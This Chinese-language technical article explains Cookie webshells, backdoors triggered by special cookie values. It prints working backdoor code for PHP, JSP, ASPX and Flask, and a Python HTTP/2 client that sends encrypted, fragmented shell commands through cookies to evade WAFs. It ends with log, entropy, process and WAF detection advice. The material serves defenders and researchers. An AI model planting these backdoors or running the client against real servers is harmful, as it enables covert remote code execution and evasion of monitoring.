在现在的 Web 攻防对抗里，Webshell 早就不只是那种“上传一个文件就完事”的老套路了，慢慢进化成了更隐蔽、更难发现的玩法，比如走协议伪装、直接在内存里执行这些高级手段。像 Cookie Webshell，就是其中比较典型的一种。
它的思路其实挺“骚”的——把原本用来保存登录状态的 Cookie，当成一条偷偷通信的通道用。这样一来，恶意流量就混在正常的 HTTP 请求里，看起来和普通用户访问没啥区别。
而且这个后门平时是“装死”的，完全不干活，只有攻击者在请求里带上特定的 Cookie，它才会触发执行。这样就很难在 access.log、WAF 规则或者文件扫描里被发现，隐蔽性直接拉满。
2026 年 4 月，微软安全团队发布了详细报告，指出攻击者在 Linux 共享托管环境中大量使用这种手法。本文将全网搜集整理该技术的原理、实现变种、代码示例、隐蔽性分析、绕过机制以及检测防御建议，帮助安全从业者深入理解并防范。
Cookie Webshell 的核心原理
传统 Webshell 的命令交互依赖可见的 HTTP 参数：
GET/POST 参数 → WAF 重点监控
访问日志（access.log）默认记录 URL、Method、Status 等
Cookie Webshell 的创新点在于：
控制通道转移：使用特定 Cookie（如 c=命令、d=分隔符、woofig=密钥 等）传递 payload 或激活信号。
条件激活（Gating）：Webshell 代码始终检查 $_COOKIE 超全局，只有匹配特定 Cookie 值时才执行恶意逻辑。正常流量下完全“休眠”，无任何异常输出。
无文件落地 / 内存执行：部分实现仅在合法 PHP 文件中注入极短的“加载器”（<130 字符），后续完整 Webshell 或命令通过 Cookie 传入并用 eval() 在内存中执行，几乎不落地额外文件。
持久化自愈：结合 Cron Job，在共享主机（如 cPanel）环境中定时重写加载器，即使文件被删除也能自动恢复。
这种设计让 Webshell “隐身”于正常 Web 流量中，Cookie 值默认不会被多数 Web 服务器（如 Nginx/Apache）的 access log 完整记录（除非显式配置 LogFormat 包含 Cookie）。WAF 规则集也多针对 URL/Query/Post Body，对 Cookie 的深度解析和规则匹配较弱。
下边是攻击流程：
Base64 Cookie Shell 及其进阶混淆变种
早期 Base64 Cookie Shell 实现较为基础，典型代码如下：
<?php
if (isset($_COOKIE['session_id'])) {
@eval(base64_decode($_COOKIE['session_id']));
}
?>
攻击流量中，请求看起来与普通页面访问无异，Cookie 字段直接携带 base64 编码的 payload，WAF 难以直接匹配明文恶意关键字。进阶混淆版本进一步拆分关键函数名，通过动态变量拼接绕过静态特征检测：
<?php
$k = 'sess_' . 'id';
$v = $_COOKIE[$k] ?? '';
if ($v) {
$f = 'base' . '64_decode';
$c = $f($v);
$e = 'ev' . 'al';
@$e($c);
}
?>
流量层面，这种变种的 Cookie 值高熵且无明显关键字，正常业务 Cookie（如 PHPSESSID、_ga）混入其中，请求 Header 长度与普通 Session 接近，响应也返回标准 HTML 页面，仅在精确匹配时执行 eval 操作，进一步模糊检测边界。
AES 加密 + 多重认证
新一代 Cookie Webshell 在基础之上引入 AES 加密与多条件激活机制，大幅提升隐蔽性。典型实现如下：
<?php
function auth_check() {
return (
isset($_COOKIE['_uid']) &&
$_COOKIE['_uid'] === 'a1b2c3d4' &&
strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla') !== false &&
$_SERVER['REMOTE_ADDR'] === '127.0.0.1'
);
}
if (auth_check()) {
$k = "secret_key_123456";
$data = $_COOKIE['session_payload'] ?? '';
if ($data) {
$raw = base64_decode($data);
$iv = substr($k, 0, 16);
$out = openssl_decrypt($raw, 'aes128cbc', $k, OPENSSL_RAW_DATA, $iv);
if ($out) {
@eval($out);
exit;
}
}
}
?>
流量特征上，攻击者通过 Python C2 客户端分片传输加密 payload，并混入正常 Cookie（如 _ga、PHPSESSID）。真实请求示例：
GET /index.php HTTP/1.1
Host: www.target.com
Cookie: PHPSESSID=abc123; lang=zhCN; _ga=GA1.2.1002; _uid=a1b2c3d4; s1=U2FsdGVkX1...; s2=9f82ab...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Referer: https://www.target.com/
响应中可能通过 Set-Cookie 隐藏回显结果，整个过程与浏览器正常 Session 流量高度拟真。
跨语言高级变种：JSP、ASPX 与 Python Flask
Cookie 技术已扩展到多语言环境。JSP 内存马典型实现利用反射加载 ClassLoader，避免标准 API 直接调用：
<%
String ck = request.getHeader("Cookie");
if (ck != null && ck.contains("pass=051a2")) {
String payload = request.getParameter("p"); // 实际多用 Cookie 分片
byte[] bytes = java.util.Base64.getDecoder().decode(payload);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(cl, bytes, 0, bytes.length);
Object obj = clazz.newInstance();
obj.equals(pageContext); // 利用 equals 触发执行逻辑
}
%>
流量中 Cookie 仅作为触发条件，payload 通过 base64 传入，响应无任何落地文件，适合 Tomcat 环境的无文件驻留。
ASPX 变种则通过 Assembly.Load 实现委托执行：
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
var c = Request.Cookies["__id"];
if (c != null) {
byte[] data = Convert.FromBase64String(c.Value);
var asm = System.Reflection.Assembly.Load(data);
foreach (var t in asm.GetTypes()) {
var m = t.GetMethod("Run");
if (m != null) {
m.Invoke(null, new object[] { Context });
}
}
}
}
</script>
Python Flask 版本同样简洁：
from flask import request
import base64, os
@app.route("/")
def index():
payload = request.cookies.get("sess")
if payload:
try:
code = base64.b64decode(payload).decode()
exec(code)
except:
pass
return "OK"
这些跨语言实现的核心流量特征一致：Cookie 承载高熵加密数据，请求方法为常规 GET/POST，User-Agent 和 Referer 伪装成正常浏览器行为。
C2 客户端工程化实现
实际攻击中，攻击者使用完整 Python C2 客户端完成加密、分片与混淆传输。
高隐蔽战术与中间件持久化
高隐蔽战术包括 Cookie 名伪装、分片重组、时间抖动以及条件触发。回显常隐藏在 HTML 注释或 Set-Cookie 中。持久化层面，常见通过 Nginx/Apache 的auto_prepend_file或 Tomcat Filter、IIS HttpModule 在中间件层注入逻辑。
HTTP/2 协议层 Cookie 隐蔽增强变种
随着主流 Web 服务器（Nginx、Apache 2.4+、Tomcat 等）普遍支持并默认启用 HTTP/2，Cookie Webshell 进一步向协议层演进，利用 HTTP/2 的二进制帧格式、HPACK 头部压缩以及多路复用特性实现更深层的隐蔽。该变种的核心优势在于“协议原生伪装”：服务器端 PHP/$_COOKIE 等执行逻辑保持不变，但整个控制通道运行在 HTTP/2 之上，显著降低传统 WAF/IDS 的检测覆盖率。
名词解释：
HPACK 头部压缩机制：HTTP/2 使用 HPACK 对头部（包括 Cookie）进行动态字典压缩和 Huffman 编码。高熵加密 payload 在网络传输时体积大幅缩小，且呈现低可读性。攻击者可利用 HPACK 的 never-indexed literal 表示方式（RFC 7541），将敏感 Cookie 标记为不索引，避免动态表泄露或被 WAF 特征提取。
二进制帧与 Continuation Frames：Cookie Header 可被拆分成多个 Continuation 帧传输，绕过许多基于单 Header 长度、关键字或简单正则的 WAF 规则。部分早期或配置不完善的 WAF/代理对 HTTP/2 帧解析不完整，无法可靠重组完整的 Cookie 内容。
伪头部与多路复用：HTTP/2 使用 :authority 替换传统 Host 头部，部分 WAF 规则集仍侧重 HTTP/1.1 的 Host 检查，对 :authority + Cookie 的联合检测覆盖不足。单 TCP 连接内可同时开启多个 Stream，命令下发与回显可并行进行，流量模式更接近正常浏览器并行加载资源（CSS/JS/Image），减少单连接异常特征。
持久连接与 Server Push 辅助伪装：攻击者可结合 Server Push 推送“正常”静态资源，同时在 Cookie 中嵌入控制指令，进一步模糊 C2 行为。
客户端示例
使用支持 HTTP/2 的 httpx 库
import httpx
import base64
from Crypto.Cipher import AES
def send_http2_cmd(url, cmd, key="secret_key_123456"):
def encrypt(cmd):
cipher = AES.new(key.encode(), AES.MODE_CBC, key[:16].encode())
pad = lambda s: s + (16 - len(s) % 16) * chr(16 - len(s) % 16)
return base64.b64encode(cipher.encrypt(pad(cmd).encode())).decode()
payload = encrypt(f"system('{cmd}');")
cookies = {
"_uid": "a1b2c3d4",
"PHPSESSID": "abc123",
"__cf_bm": "normal_value", # 伪装正常 Cookie
}
# 分片传输
for i, p in enumerate([payload[i:i+60] for i in range(0, len(payload), 60)]):
cookies[f"s{i}"] = p
with httpx.Client(http2=True, verify=False) as client:
resp = client.get(url, cookies=cookies, headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Referer": "https://www.target.com/"
})
print(resp.cookies.get("_gid")) # 回显示例
return resp
流量特征
HTTP/2 帧视角简化：
:method: GET
:scheme: https
:authority: www.target.com
:path: /index.php
cookie: PHPSESSID=abc123; _ga=GA1.2...; _uid=a1b2c3d4; s0=U2FsdGVkX1...; s1=... （经 HPACK 压缩）
user-agent: Mozilla/5.0 ...
响应帧中可通过 Set-Cookie 返回加密输出，整个连接保持长时复用，无额外 TCP 握手开销。相比 HTTP/1.1，该变种在当前 WAF 绕过实践中更具实战价值，尤其针对仅支持部分 HTTP/2 解析的云 WAF 或传统 IDS。
典型使用场景
在红队行动中，Cookie Webshell 主要用于绕过 WAF/IDS、长期潜伏通信与内网横向；在内存马投递场景下，实现 JSP/Tomcat 无文件驻留；在 C2 通道伪装中，避免传统 beacon 特征。
蓝队检测与企业级防御深化
从蓝队视角，检测重点在于行为而非静态签名。企业应强制 Web 服务器日志记录完整 Cookie 字段、Set-Cookie 以及 Header 长度异常，尤其针对 HTTP/2 流量需启用完整 HPACK 解析日志。关键检测指标包括 Cookie 长度 > 200 字节、高熵字符串（Shannon entropy > 4.5）、分片字段（如 s1、s2）以及 eval/system 与 $_COOKIE 的组合出现。
行为检测层面，重点监控 php-fpm、httpd、nginx 等 Web 进程发起的 shell 子进程，或包含 base64 -d、openssl_decrypt + eval 的命令行。针对 HTTP/2 环境，额外监控 HPACK 动态表中异常的 never-indexed Cookie 字段、单个连接内异常高的 Stream 数量或 Continuation 帧，以及 :authority 与 Cookie 组合的熵值异常。
企业级防御建议包括：
SIEM/Splunk/ELK 规则：实时查询高熵 Cookie + 异常 eval 执行，并增加 HTTP/2 帧解析插件。
EDR/XDR（如 CrowdStrike Falcon、Microsoft Defender）：启用内存威胁检测、Web Shell 行为阻断，并配置 HTTP/2 完整解析模式。
WAF 自定义规则：针对多分片 Cookie、AES 典型 IV 模式以及 HTTP/2 :authority + Cookie 联合检测。
文件完整性监控 + cron 任务审计 + HTTP/2 配置审计（禁用不必要的 Server Push）。
零信任架构：限制 Web 进程外部命令执行权限，并对中间件（如 auto_prepend_file）和 HTTP/2 配置实施严格变更审计。
通过流量全链路 + 内存行为 + 协议层（HTTP/2 HPACK） + 定时任务的多维度监控，企业可将 Cookie Webshell 的威胁窗口大幅压缩。
总结
Cookie Webshell 的核心突破在于通道转移（Body → Header）、执行转移（文件 → 内存）以及特征消失（明文 → 加密），其本质是利用正常协议承载异常行为。HTTP/2 变种进一步将隐蔽性推向协议原生层面。未来趋势将继续向 HTTP/2 Header 隐蔽、WebSocket C2 以及 TLS 指纹伪装方向发展。安全团队需持续迭代检测能力，从传统签名扫描转向行为驱动 + 协议全栈防御，方能在高对抗环境中占据主动。
对于这些只是一部分基础内容，目前最新的apt攻击，还会有各种变形和编码进行隐藏。但是根本上原理就是如此。
本文基于公开技术情报与实战观察整理，仅供安全研究与防御参考，严禁用于任何非法用途。